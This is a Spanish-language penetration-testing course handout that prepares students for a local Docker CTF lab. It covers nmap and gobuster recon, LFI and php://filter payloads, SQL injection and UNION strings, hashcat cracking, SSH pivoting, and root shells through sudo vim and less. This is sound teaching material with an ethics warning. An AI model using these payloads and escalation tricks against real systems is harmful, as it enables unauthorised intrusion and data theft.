

ANTES DE OPERACIÓN HÉLICE NEGRA

Conceptos y técnicas previas — Pentest sobre Docker

PARA QUÉ SIRVE ESTE DOCUMENTO

Este documento NO es la práctica. Es la base teórico-práctica que debes dominar antes de abrirla. Cada bloque presenta una técnica, la ilustra con un escenario neutro (parámetros, puertos, hashes y binarios distintos a los de la práctica) y termina con una pregunta de autoevaluación. La cadena de explotación de Operación Hélice Negra usa otros artefactos — aquí no se desvela nada de su solución.

⚠ Ética. Las técnicas de este documento solo deben practicarse contra sistemas propios o expresamente autorizados. Usarlas contra infraestructura de terceros sin permiso es un delito tipificado en la mayoría de jurisdicciones. Las prácticas del curso se ejecutan SIEMPRE en laboratorios desplegados localmente por ti.

ENTORNO DE LOS EJEMPLOS

Los ejemplos asumen un host Ubuntu con Docker (consulta la sesión 0) y una máquina Kali en VirtualBox como atacante. Donde un ejemplo necesita un objetivo concreto, usaremos imágenes Docker públicas y ligeras lanzadas a propósito para el ejercicio.

BLOQUE 1 — METODOLOGÍA Y RECON

Las cinco fases de un pentest

Fase	Objetivo
1. Reconocimiento	Identificar la superficie expuesta (puertos, servicios, tecnologías).
2. Enumeración	Profundizar sobre cada servicio (versiones, rutas, usuarios).
3. Explotación	Conseguir el primer acceso aprovechando una vulnerabilidad.
4. Post-explotación / lateral	Escalar privilegios y moverse por la red interna.
5. Reporte y limpieza	Documentar lo encontrado y restaurar el estado del sistema.

nmap básico para descubrir servicios

nmap es la herramienta universal de descubrimiento. Tres invocaciones te resolverán el 90% de los casos:

```
kali$ nmap -sn 10.0.2.0/24
      ! Detección de hosts activos (ping sweep)

kali$ nmap -sV -p- --open 10.0.2.2
      ! Todos los puertos TCP, sólo los abiertos, con versión

kali$ nmap -sC -sV -p 80,443 10.0.2.2
      ! Scripts NSE por defecto + versión sobre dos puertos
```

Salida típica abreviada:

```
PORT      STATE SERVICE VERSION
80/tcp    open  http   Apache httpd 2.4.59
443/tcp   open  ssl/http nginx 1.25.3
8080/tcp  open  http   Werkzeug httpd 3.0.1 (Python 3.11.6)
```

✓ Autoevaluación: ¿qué bandera de nmap usarías para descubrir un servicio que escucha en un puerto >1024 sin saber cuál? ¿Por qué -p- es lento?

Enumeración web con gobuster / ffuf

Una vez detectado un servidor HTTP, busca rutas y ficheros ocultos. La wordlist más común en Kali es /usr/share/wordlists/dirb/common.txt; para más profundidad, /usr/share/wordlists/dirbuster/.

```
kali$ gobuster dir -u http://10.0.2.2:8080 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,bak,old,zip,txt
```

Salida típica:

```
/admin          (Status: 401)
/api            (Status: 200)
/images        (Status: 301)
/old           (Status: 200)
/server-status (Status: 403)
```

⚠ Códigos 401/403 NO son 'ruta inexistente': el servidor te está diciendo que existe pero requiere autenticación o está prohibida. Apúntalo: a veces son los caminos más interesantes.

✓ Autoevaluación: ¿por qué pasas -x con varias extensiones? Pista: el servidor puede servir el mismo recurso bajo nombres con extensión y sin extensión.

BLOQUE 2 — LFI (LOCAL FILE INCLUSION)

Una aplicación es vulnerable a LFI cuando inserta un parámetro de usuario en una ruta de fichero sin validarlo. Patrón típico (PHP):

```
<?php
$lang = $_GET['lang']; // 'es', 'en', 'fr'...
include('translations/' . $lang . '.php');
?>
```

Esperado:

```
GET /index.php?lang=es
→ include('translations/es.php') // OK
```

Abuso clásico — path traversal:

```
GET /index.php?lang=../../../../etc/passwd
→ include('translations/../../../../etc/passwd.php')
→ Si el código añade .php obligatorio, el ataque depende de tres
   factores: la versión de PHP (null-byte en <5.3), filtros wrappers,
   o que la app NO añada extensión.
```

⚠ Cuando el código concatena la extensión (.php) al final, hace falta un truco extra. En PHP moderno (≥5.3) los null bytes no terminan cadenas, así que se prueba con wrappers (php://filter/), envoltorios (zip://, phar://) o ficheros que el servidor mismo está dispuesto a leer como PHP (logs, sesiones).

Lectura de ficheros con php://filter

Si la inclusión se hace pero el contenido se ejecuta como PHP (estropeando la lectura del fuente), usa el wrapper de filtros para codificarlo en base64 antes de incluirlo:

```
GET /index.php?lang=php://filter/convert.base64-encode/resource=config
→ devuelve el contenido de config.php en base64, que descodificas
en local con `base64 -d`
```

Mini-ejercicio guiado (entorno aparte)

Levanta este pequeño laboratorio para practicar LFI con extensión obligatoria:

```
$ mkdir lfi-demo && cd lfi-demo
$ cat > index.php <<'EOF'
<?php
$lang = $_GET['lang'] ?? 'es';
include('translations/' . $lang . '.php');
?>
EOF
$ mkdir translations && echo '<?="hola"?>' > translations/es.php
$ echo 'SECRET=demo123' > config
$ docker run --rm -p 9090:80 -v $PWD:/var/www/html php:8.2-apache
```

Y en otro terminal:

```
kali$ curl -s 'http://10.0.2.2:9090/index.php?lang=es' # OK
kali$ curl -s 'http://10.0.2.2:9090/index.php?lang=php://filter/convert.base64-encode/resource=config'
```

✓ Autoevaluación: ¿por qué los wrappers php:// hacen falta cuando la extensión .php se concatena? ¿Funcionaría si en index.php sustituimos include(\$lang); sin concatenar?

BLOQUE 3 — DE LFI A RCE: INCLUSIÓN DE FICHEROS CONTROLABLES

Leer ficheros está bien; ejecutarlos es mejor. La idea: si consigues ESCRIBIR contenido PHP en un fichero que la víctima incluya, consigues RCE (Remote Code Execution).

Tres caminos típicos

- Logs del servidor web — accesibles por el proceso PHP y donde tú puedes inyectar texto vía cabeceras.
- Cookies de sesión PHP — el fichero de sesión guarda variables que controlas.
- Uploads — si la app guarda archivos en una ruta predecible.

Idea general del envenenamiento de logs

El servidor web (Apache, nginx, ...) registra cada petición en un log. Las cabeceras que tú controlas (User-Agent, Referer, X-Forwarded-For) acaban literalmente escritas en ese log. Si la LFI llega al log y el log se interpreta como PHP, el código que enviaste por cabecera se ejecuta.

⚠ La pega no es la idea, sino los detalles. Cada servidor escapa caracteres 'peligrosos' a su manera antes de escribir al log: comillas, saltos de línea, caracteres no imprimibles. Tu payload puede llegar reescrito y dejar de ser PHP válido. Cuando un payload no dispara, lo primero que haces es leer el log y comparar BYTE a BYTE lo enviado con lo escrito.

El ejercicio queda como exploración: con la imagen de PHP+Apache del ejemplo anterior, intenta tú envenenar /var/log/apache2/access.log y dispararlo vía LFI. Identifica qué se reescribe y qué no.

✓ Autoevaluación: si el servidor reemplaza '<' por '<' en el log, ¿qué le pasa a tu payload <?php ... ?>? ¿Cómo lo detectarías sin necesidad de probar el ataque?

BLOQUE 4 — SQL INJECTION

Patrón vulnerable

Una aplicación es vulnerable a SQLi cuando concatena datos del usuario dentro de una sentencia SQL sin parametrizar:

```
# Python+sqlite, MAL:
uid = request.args['uid']
cur.execute(f"SELECT * FROM accounts WHERE id = {uid}")

# Petición legítima:
GET /account?uid=42
→ SELECT * FROM accounts WHERE id = 42

# Inyección clásica boolean:
GET /account?uid=42 OR 1=1
→ SELECT * FROM accounts WHERE id = 42 OR 1=1
→ devuelve TODAS las filas
```

Inyección en cadenas de texto (escapando comillas)

Si el parámetro está dentro de comillas, primero hay que CERRARLAS:

```
# Plantilla:
f"SELECT * FROM users WHERE name = '{name}'"

# Payload:
?name=anything' OR '1'='1
→ SELECT * FROM users WHERE name = 'anything' OR '1'='1'
```

UNION SELECT — extracción de columnas adicionales

Si la consulta vulnerable es un SELECT, puedes 'pegar' con UNION otra consulta que devuelva datos de OTRAS tablas. Dos reglas que se cumplen siempre:

- El número de columnas del UNION debe coincidir con el del SELECT original.
- Los tipos compatibles columna a columna (los motores suelen convertir, pero no siempre).

Para descubrir el número de columnas se usa ORDER BY N de forma incremental hasta que la consulta falla:

```
?uid=42 ORDER BY 1-- - → OK
?uid=42 ORDER BY 2-- - → OK
?uid=42 ORDER BY 3-- - → OK
?uid=42 ORDER BY 4-- - → error → hay 3 columnas
```

Y entonces se monta el UNION con 3 columnas:

```
?uid=42 UNION SELECT 1, table_name, 3 FROM information_schema.tables-- -
```

⚠ El comentario -- (dos guiones + espacio + cualquier carácter) es imprescindible para que el motor ignore el resto de la sentencia original. En MySQL/MariaDB hay que poner '-- -' (con un carácter después del espacio) o '#'.

Mini-laboratorio para probar UNION

```
$ docker run --rm -d -p 9091:80 --name sqli-demo \
  -e MARIADB_ROOT_PASSWORD=demo mariadb:11.4
$ docker exec -i sqli-demo mariadb -uroot -pdemo <<'EOF'
CREATE DATABASE shop;
USE shop;
CREATE TABLE accounts (id INT, owner VARCHAR(64), email VARCHAR(120));
INSERT INTO accounts VALUES
  (42, 'alice', 'alice@example.com'),
  (43, 'bob', 'bob@example.com');
EOF
```

Ahora puedes conectarte a la BBDD desde tu Kali y practicar UNION directamente con el cliente mariadb (no es exactamente un ataque vía HTTP, pero es el método más limpio para entender la mecánica).

✓ Autoevaluación: si la consulta original es `SELECT id, owner, email FROM accounts WHERE id = {uid}`, monta un UNION que extraiga las primeras 5 contraseñas hasheadas de una tabla `users(id, login, password_hash)`. ¿Qué función built-in usarías para volcar el listado completo de tablas?

BLOQUE 5 — CRACKING DE HASHES

Identificar el tipo de hash

Antes de craquear, identifica. La pista visual rápida:

Aspecto	Probable algoritmo	Modo hashcat
32 hex	MD5	0
40 hex	SHA-1	100
64 hex	SHA-256	1400
\$2y\$.../\$2a\$...\$2b\$...	bcrypt	3200
\$1\$...\$...	MD5-crypt	500
\$6\$...\$...	SHA512-crypt	1800

Para reconocerlos hay hash-identifier (en Kali) y hashid.

Crackear un SHA-256 de ejemplo con hashcat

Tomemos un hash SHA-256 fabricado para el ejercicio (NO usar en la práctica): 9b0061d5d4b1...del texto 'welcome01'. Vamos a verlo de vuelta.

```
kali$ echo -n 'welcome01' | sha256sum
9b0061d5d4b1... -
kali$ echo '9b0061d5d4b1...' > h.txt
kali$ hashcat -m 1400 -a 0 h.txt /usr/share/wordlists/rockyou.txt \
--quiet
9b0061d5d4b1...:welcome01
```

⚠ Si rockyou.txt no contiene la palabra base, prueba reglas: --rules best64 (introduce permutaciones comunes: caps, sufijos, !). Y si aún así no aparece, considera que sea un hash con sal y reformula el ataque (hashcat -m XXXX requiere formato hash:salt).

✓ Autoevaluación: ¿qué cambia entre crackear un MD5 (-m 0) y un bcrypt (-m 3200)? Tiempo de orden de magnitud para 1.000 candidatas.

BLOQUE 6 — SSH Y MOVIMIENTO LATERAL

Conexión básica

```
kali$ ssh -p 22022 usuario@10.0.2.2
kali$ ssh -i ~/.ssh/clave_rsa usuario@10.0.2.2
kali$ ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-p 22022 usuario@10.0.2.2
! útil cuando el host cambia (laboratorios efímeros)
```

Autenticación por password sin interactividad

```
kali$ sshpass -p 'demo123' ssh -p 22022 usuario@10.0.2.2 'hostname; id'
```

Subida y descarga de ficheros:

```
kali$ scp -P 22022 fichero.txt usuario@10.0.2.2:/tmp/
kali$ scp -P 22022 usuario@10.0.2.2:/tmp/loot.tar.gz .
```

Pivoting con port forwarding

Si comprometes un host (A) que tiene visibilidad de otro (B) al que tú no llegas directamente, tuneliza:

```
kali$ ssh -L 9999:hostB.interna:80 usuario@hostA
! Tras conectarte, http://localhost:9999 sale por hostA → hostB

kali$ ssh -D 1080 usuario@hostA
! Crea un proxy SOCKS5 en localhost:1080 que sale por hostA
```

✓ Autoevaluación: con -L 8888:internal-db:3306 hacia un bastión SSH, ¿qué cadena de mariadb -h ... ejecutas para conectar a la BBDD interna?

BLOQUE 7 — ESCALADA DE PRIVILEGIOS LINUX

Primeras comprobaciones

```
$ id
$ groups
$ sudo -l          ! qué puedo ejecutar como otro usuario
$ find / -perm -4000 2>/dev/null ! binarios SUID
$ getcap -r / 2>/dev/null ! capabilities en lugar de SUID
$ cat /etc/crontab && ls -la /etc/cron.*
```

GTFOBins

<https://gtfobins.github.io> es el catálogo de referencia: dado un binario común con SUID o permiso sudo, indica cómo abusarlo para obtener una shell, leer ficheros restringidos o cargar bibliotecas. Búsqueda recomendada: nombre del binario + categoría (Shell, File read, Sudo, Capabilities).

Ejemplo neutro — abuso de sudo vim

Imagina que sudo -l te indica:

```
User demo may run the following commands on host:
(root) NOPASSWD: /usr/bin/vim
```

vim aparece en GTFOBins. La técnica clásica: lanzar vim como root y salir a una shell:

```
$ sudo vim -c '!/bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)
```

Ejemplo neutro — sudo les

```
$ sudo less /etc/profile
(dentro de less) !/bin/sh
# id
uid=0(root) gid=0(root)
```

⚠ La lección NO es 'memorízate vim y less'. Es 'cuando veas un binario concedido por sudo, comprueba GTFOBins ANTES de pelear contra él'. Decenas de utilidades de uso diario (awk, find, less, vim, tar, env, perl, python, scp, ...) tienen escapadas documentadas.

✓ Autoevaluación: si sudo -l te muestra (root) NOPASSWD: /usr/bin/tar, ¿qué consulta haces en GTFOBins y cómo formularías la línea para ejecutar una shell?

BLOQUE 8 — DOCKER COMO INFRAESTRUCTURA OBJETIVO

Conceptos esenciales que necesitas

Concepto	Qué significa para el atacante
bridge	Red por defecto. Los contenedores se ven entre sí; el host puede mapear puertos al exterior.
internal: true	Red AISLADA: los contenedores no salen hacia Internet ni reciben tráfico del host.
DNS interno	Docker resuelve nombres de servicio (web, db, api) dentro de la red — útil para enumerar desde un contenedor comprometido.
ports: HOST:CONT	Sólo lo expuesto aquí es alcanzable desde fuera. El resto vive en la red interna.

Comandos útiles desde el host

```
$ docker network ls           # listado de redes
$ docker network inspect <name> # subred, gateway, contenedores
$ docker ps --format 'table {{.Names}}\t{{.Networks}}\t{{.Ports}}'
$ docker exec -it <ctn> sh    # shell dentro de un contenedor
$ docker logs <ctn>          # qué ha escrito el servicio
```

Movimiento desde un contenedor comprometido

Si consigues ejecución dentro de un contenedor, ése contenedor tiene (por configuración) acceso a cierto subconjunto de la red interna. Usa las herramientas que tenga instaladas o las que puedas subir:

```
# Resolver vecinos por DNS interno
$ getent hosts otro-servicio

# Escanear desde dentro (sin nmap, con shell y /dev/tcp)
$ for p in 22 80 3306 5000 6379 8080; do
  (echo > /dev/tcp/otro-servicio/$p) 2>/dev/null \
    && echo "PORT $p abierto"
done
```

✓ *Autoevaluación: si en docker-compose una red está marcada con internal: true, ¿qué dirección IP NO podrás alcanzar desde uno de sus contenedores? ¿Y desde un contenedor con doble interfaz (esa red + una bridge normal)?*

BLOQUE 9 — AUTENTICACIÓN EN APIS HTTP

Tres esquemas de cabecera que verás todo el rato

```
# Basic — usuario:password en base64
Authorization: Basic dXNlcjpwYXNzd29yZA==

# Bearer — token opaco
Authorization: Bearer eyJhbGciOiJIUzI1... (típicamente un JWT)

# Custom header — clave de API específica
X-API-Key: 8a3fle9c7b...
```


Cómo enviarlas con curl:

```
kali$ curl -s -H 'Authorization: Basic dXNlcjpwYXNzd29yZA==' \
      http://api.example.local/data

kali$ curl -s -u user:password http://api.example.local/data
      ! curl construye el Authorization Basic por ti

kali$ curl -s -H 'Authorization: Bearer eyJ...' \
      http://api.example.local/data
```

✓ *Autoevaluación: tienes un token Bearer leído de un fichero restringido. ¿Cómo lo usas en curl SIN dejarlo en la línea de comandos visible para otros usuarios (history, ps)?*

BLOQUE 10 — METODOLOGÍA DE NOTAS DURANTE EL ATAQUE

El éxito en un CTF (o en un pentest real) depende de tu cuaderno tanto como de tus herramientas. Esquema mínimo recomendado:

- Una carpeta por máquina objetivo.
- scans/ con outputs íntegros de nmap, gobuster, etc.
- loot/ con todo lo extraído (hashes, .env, dumps).
- notes.md con timeline de pasos y los flags capturados.

Plantilla útil para notes.md:

```
# Objetivo: <nombre>

## Recon
- nmap -sV: ports XX, YY
- gobuster: /admin, /backup

## Cadena de ataque
1. [Fase X] técnica → flag: HELICE{...}
2. [Fase X] ...

## Credenciales obtenidas
| Usuario | Hash | Crackeado | Origen |

## Tiempo invertido
- Recon: 30 min
- Explotación: ...
```

✓ *Autoevaluación final: dibuja en un papel la metodología completa (recon → enum → exploit → lateral → privesc) usando una sola máquina objetivo ficticia que sólo expone un servicio HTTP y tiene un usuario con un binario sudo. Si puedes redactar QUÉ harías en cada fase aunque no sepas exactamente qué encontrarás, estás listo para abrir Operación Hélice Negra.*